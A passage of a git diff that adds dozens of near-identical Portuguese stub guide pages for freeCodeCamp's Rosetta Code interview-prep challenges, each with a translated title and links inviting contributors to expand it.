diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/evaluate-binomial-coefficients/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/evaluate-binomial-coefficients/index.md
new file mode 100644
index 0000000000..3a0bb90fe2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/evaluate-binomial-coefficients/index.md
@@ -0,0 +1,9 @@
+---
+title: Evaluate binomial coefficients
+localeTitle: Avaliar coeficientes binomiais
+---
+## Avaliar coeficientes binomiais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/evaluate-binomial-coefficients/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/execute-a-markov-algorithm/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/execute-a-markov-algorithm/index.md
new file mode 100644
index 0000000000..8f9a00e75b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/execute-a-markov-algorithm/index.md
@@ -0,0 +1,9 @@
+---
+title: Execute a Markov algorithm
+localeTitle: Execute um algoritmo de Markov
+---
+## Execute um algoritmo de Markov
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/execute-a-markov-algorithm/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/execute-brain/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/execute-brain/index.md
new file mode 100644
index 0000000000..2b954755bf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/execute-brain/index.md
@@ -0,0 +1,9 @@
+---
+title: Execute Brain****
+localeTitle: Execute o cérebro ****
+---
+## Execute o cérebro \*\*\*\*
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/execute-brain/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/extensible-prime-generator/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/extensible-prime-generator/index.md
new file mode 100644
index 0000000000..9b8b26a761
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/extensible-prime-generator/index.md
@@ -0,0 +1,9 @@
+---
+title: Extensible prime generator
+localeTitle: Gerador principal extensível
+---
+## Gerador principal extensível
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/extensible-prime-generator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/factorial/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/factorial/index.md
new file mode 100644
index 0000000000..bad862910f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/factorial/index.md
@@ -0,0 +1,9 @@
+---
+title: Factorial
+localeTitle: Fatorial
+---
+## Fatorial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/factorial/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/factors-of-a-mersenne-number/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/factors-of-a-mersenne-number/index.md
new file mode 100644
index 0000000000..562773bfa1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/factors-of-a-mersenne-number/index.md
@@ -0,0 +1,9 @@
+---
+title: Factors of a Mersenne number
+localeTitle: Fatores de um número de Mersenne
+---
+## Fatores de um número de Mersenne
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/factors-of-a-mersenne-number/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/factors-of-an-integer/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/factors-of-an-integer/index.md
new file mode 100644
index 0000000000..cac81fec33
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/factors-of-an-integer/index.md
@@ -0,0 +1,9 @@
+---
+title: Factors of an integer
+localeTitle: Fatores de um inteiro
+---
+## Fatores de um inteiro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/factors-of-an-integer/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/farey-sequence/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/farey-sequence/index.md
new file mode 100644
index 0000000000..7bc9f922db
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/farey-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Farey sequence
+localeTitle: Seqüência Farey
+---
+## Seqüência Farey
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/farey-sequence/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/fibonacci-n-step-number-sequences/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/fibonacci-n-step-number-sequences/index.md
new file mode 100644
index 0000000000..59aea74fee
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/fibonacci-n-step-number-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci n-step number sequences
+localeTitle: Sequências de números n-step de Fibonacci
+---
+## Sequências de números n-step de Fibonacci
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/fibonacci-n-step-number-sequences/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/fibonacci-sequence/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/fibonacci-sequence/index.md
new file mode 100644
index 0000000000..c26f0d328f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/fibonacci-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci sequence
+localeTitle: Seqüência de Fibonacci
+---
+## Seqüência de Fibonacci
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/fibonacci-sequence/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/fibonacci-word/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/fibonacci-word/index.md
new file mode 100644
index 0000000000..67f3f110cc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/fibonacci-word/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci word
+localeTitle: Palavra Fibonacci
+---
+## Palavra Fibonacci
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/fibonacci-word/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/fractran/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/fractran/index.md
new file mode 100644
index 0000000000..0229c2f951
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/fractran/index.md
@@ -0,0 +1,9 @@
+---
+title: Fractran
+localeTitle: Fractran
+---
+## Fractran
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/fractran/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/gamma-function/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/gamma-function/index.md
new file mode 100644
index 0000000000..d321fcad81
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/gamma-function/index.md
@@ -0,0 +1,9 @@
+---
+title: Gamma function
+localeTitle: Função gama
+---
+## Função gama
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/gamma-function/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/gaussian-elimination/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/gaussian-elimination/index.md
new file mode 100644
index 0000000000..1d2a85b3a6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/gaussian-elimination/index.md
@@ -0,0 +1,9 @@
+---
+title: Gaussian elimination
+localeTitle: Eliminação gaussiana
+---
+## Eliminação gaussiana
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/gaussian-elimination/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/general-fizzbuzz/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/general-fizzbuzz/index.md
new file mode 100644
index 0000000000..d610b21ce9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/general-fizzbuzz/index.md
@@ -0,0 +1,9 @@
+---
+title: General FizzBuzz
+localeTitle: Geral FizzBuzz
+---
+## Geral FizzBuzz
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/general-fizzbuzz/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/generate-lower-case-ascii-alphabet/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/generate-lower-case-ascii-alphabet/index.md
new file mode 100644
index 0000000000..b6b0a2a1fa
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/generate-lower-case-ascii-alphabet/index.md
@@ -0,0 +1,9 @@
+---
+title: Generate lower case ASCII alphabet
+localeTitle: Gerar alfabeto ASCII de letras minúsculas
+---
+## Gerar alfabeto ASCII de letras minúsculas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/generate-lower-case-ascii-alphabet/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/generatorexponential/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/generatorexponential/index.md
new file mode 100644
index 0000000000..b45f981e8e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/generatorexponential/index.md
@@ -0,0 +1,9 @@
+---
+title: Generator/Exponential
+localeTitle: Gerador / Exponencial
+---
+## Gerador / Exponencial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/generatorexponential/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/gray-code/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/gray-code/index.md
new file mode 100644
index 0000000000..986206108a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/gray-code/index.md
@@ -0,0 +1,9 @@
+---
+title: Gray code
+localeTitle: Código cinza
+---
+## Código cinza
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/gray-code/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/greatest-common-divisor/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/greatest-common-divisor/index.md
new file mode 100644
index 0000000000..0156ccf92c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/greatest-common-divisor/index.md
@@ -0,0 +1,9 @@
+---
+title: Greatest common divisor
+localeTitle: Maior divisor comum
+---
+## Maior divisor comum
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/greatest-common-divisor/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/greatest-subsequential-sum/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/greatest-subsequential-sum/index.md
new file mode 100644
index 0000000000..474ee61c20
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/greatest-subsequential-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Greatest subsequential sum
+localeTitle: Maior soma subsequencial
+---
+## Maior soma subsequencial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/greatest-subsequential-sum/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/hailstone-sequence/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/hailstone-sequence/index.md
new file mode 100644
index 0000000000..6ef6f8f2e1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/hailstone-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Hailstone sequence
+localeTitle: Sequência de granizo
+---
+## Sequência de granizo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/hailstone-sequence/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/happy-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/happy-numbers/index.md
new file mode 100644
index 0000000000..2b1b87be79
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/happy-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Happy numbers
+localeTitle: Números felizes
+---
+## Números felizes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/happy-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/harshad-or-niven-series/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/harshad-or-niven-series/index.md
new file mode 100644
index 0000000000..e6e48eaae6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/harshad-or-niven-series/index.md
@@ -0,0 +1,9 @@
+---
+title: Harshad or Niven series
+localeTitle: Série Harshad ou Niven
+---
+## Série Harshad ou Niven
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/harshad-or-niven-series/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/hash-from-two-arrays/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/hash-from-two-arrays/index.md
new file mode 100644
index 0000000000..83b9d0c6c1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/hash-from-two-arrays/index.md
@@ -0,0 +1,9 @@
+---
+title: Hash from two arrays
+localeTitle: Hash de duas matrizes
+---
+## Hash de duas matrizes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/hash-from-two-arrays/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/hash-join/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/hash-join/index.md
new file mode 100644
index 0000000000..81c0566d10
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/hash-join/index.md
@@ -0,0 +1,9 @@
+---
+title: Hash join
+localeTitle: Junção de hash
+---
+## Junção de hash
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/hash-join/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/heronian-triangles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/heronian-triangles/index.md
new file mode 100644
index 0000000000..9a13149927
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/heronian-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Heronian triangles
+localeTitle: Triângulos Heronianos
+---
+## Triângulos Heronianos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/heronian-triangles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/hofstadter-figure-figure-sequences/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/hofstadter-figure-figure-sequences/index.md
new file mode 100644
index 0000000000..4f229ddeb0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/hofstadter-figure-figure-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Hofstadter Figure-Figure sequences
+localeTitle: Sequências Figura-Figura de Hofstadter
+---
+## Sequências Figura-Figura de Hofstadter
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/hofstadter-figure-figure-sequences/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/hofstadter-q-sequence/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/hofstadter-q-sequence/index.md
new file mode 100644
index 0000000000..98ee1b7e06
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/hofstadter-q-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Hofstadter Q sequence
+localeTitle: Sequência de Hofstadter Q
+---
+## Sequência de Hofstadter Q
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/hofstadter-q-sequence/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/i-before-e-except-after-c/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/i-before-e-except-after-c/index.md
new file mode 100644
index 0000000000..42dea748d5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/i-before-e-except-after-c/index.md
@@ -0,0 +1,9 @@
+---
+title: I before E except after C
+localeTitle: Eu antes E exceto depois de C
+---
+## Eu antes E exceto depois de C
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/i-before-e-except-after-c/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/iban/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/iban/index.md
new file mode 100644
index 0000000000..6b0bbe6c91
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/iban/index.md
@@ -0,0 +1,9 @@
+---
+title: IBAN
+localeTitle: IBAN
+---
+## IBAN
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/iban/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/identity-matrix/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/identity-matrix/index.md
new file mode 100644
index 0000000000..5b110c4c7e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/identity-matrix/index.md
@@ -0,0 +1,9 @@
+---
+title: Identity matrix
+localeTitle: Matriz de identidade
+---
+## Matriz de identidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/identity-matrix/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/index.md
new file mode 100644
index 0000000000..f13cff84d3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/index.md
@@ -0,0 +1,11 @@
+---
+title: Rosetta Code
+localeTitle: Código Rosetta
+---
+## Código Rosetta
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/iterated-digits-squaring/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/iterated-digits-squaring/index.md
new file mode 100644
index 0000000000..d461743020
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/iterated-digits-squaring/index.md
@@ -0,0 +1,9 @@
+---
+title: Iterated digits squaring
+localeTitle: Dígitos iterados em quadratura
+---
+## Dígitos iterados em quadratura
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/iterated-digits-squaring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/jaro-distance/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/jaro-distance/index.md
new file mode 100644
index 0000000000..e6011ba8a8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/jaro-distance/index.md
@@ -0,0 +1,9 @@
+---
+title: Jaro distance
+localeTitle: Distância Jaro
+---
+## Distância Jaro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/jaro-distance/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/jortsort/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/jortsort/index.md
new file mode 100644
index 0000000000..b911ce2fb1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/jortsort/index.md
@@ -0,0 +1,9 @@
+---
+title: JortSort
+localeTitle: JortSort
+---
+## JortSort
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/jortsort/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/josephus-problem/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/josephus-problem/index.md
new file mode 100644
index 0000000000..caea52a335
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/josephus-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: Josephus problem
+localeTitle: Problema Josephus
+---
+## Problema Josephus
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/josephus-problem/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/s-expressions/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/s-expressions/index.md
new file mode 100644
index 0000000000..50afee10e3
--- /dev/null
